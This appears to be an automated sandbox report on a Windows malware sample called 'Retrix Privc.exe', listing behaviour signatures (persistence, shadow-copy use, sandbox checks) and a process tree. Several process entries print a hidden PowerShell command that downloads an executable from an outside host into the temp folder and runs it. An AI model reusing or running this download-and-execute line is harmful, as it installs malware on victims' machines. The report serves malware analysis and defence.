Overview

overview

8

Static

static

3

Retrix Privc.exe

windows10-2004-x64

8

Retrix Privc.exe

windows11-ltsc_2024-x64

8

Analysis

  • geolocation tags

    nanew-jerseynorth-americaunited-statesususa
  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260618-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/06/2026, 04:24

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General

  • Target
    Retrix Privc.exe
  • Size 3.5MB
  • Sample260623-e1hfssaw4w
  • SHA256 a3e986c86a862fe375c81963eab189f3127cca95438e7998d810c8f94978b00a
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwareexecutionpersistenceransomwarespyware

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 30 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 39 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\Retrix Privc.exe
    "C:\Users\Admin\AppData\Local\Temp\Retrix Privc.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2568
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4792
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4488
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1280
    • C:\Users\Admin\AppData\Local\Temp\Retrix Privc.exe
      "C:\Users\Admin\AppData\Local\Temp\Retrix Privc.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3268
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3380
        • C:\Windows\system32\cmd.exe
          cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4180
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2016
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c cls
        3⤵
          PID:1952
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c cls
          3⤵
            PID:4564
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c cls
            3⤵
              PID:944
        • C:\Windows\system32\sihost.exe
          sihost.exe
          1⤵
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:2500
          • C:\Windows\explorer.exe
            explorer.exe /LOADSAVEDWINDOWS
            2⤵
            • Boot or Logon Autostart Execution: Active Setup
            • Enumerates connected drives
            • Checks SCSI registry key(s)
            • Modifies Internet Explorer settings
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            • Suspicious use of SetWindowsHookEx
            PID:4088
        • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
          "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
          1⤵
          • Modifies registry class
          • Suspicious use of SetWindowsHookEx
          PID:5796
        • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
          "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
          1⤵
          • Modifies registry class
          • Suspicious use of SetWindowsHookEx
          PID:864

        Network

              MITRE ATT&CK Enterprise v16

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              Downloads

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 4b3b79a959941404a5bb8eae955909f8c86b7d05e1781b9ed5dcc72a7cb4d20e
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              prep_Activatable Class_Hermes_perf.cache
              • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
              • Size 599B
              • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              memory/1280-3-0x000002A86EA10000-0x000002A86EA32000-memory.dmp
              Download

              memory/2568-0-0x000001CE8CE60000-0x000001CE8CE61000-memory.dmp
              Download

              memory/4088-189-0x000000000E330000-0x000000000EBAB000-memory.dmp
              Download

              memory/5796-13-0x00000200801A0000-0x00000200802A0000-memory.dmp
              Download

              memory/5796-29-0x0000020094100000-0x0000020094120000-memory.dmp
              Download

              memory/5796-20-0x0000020082E30000-0x0000020082F30000-memory.dmp
              Download

              memory/5796-22-0x0000020082C50000-0x0000020082C70000-memory.dmp
              Download

              memory/5796-19-0x00000200829F0000-0x0000020082A10000-memory.dmp
              Download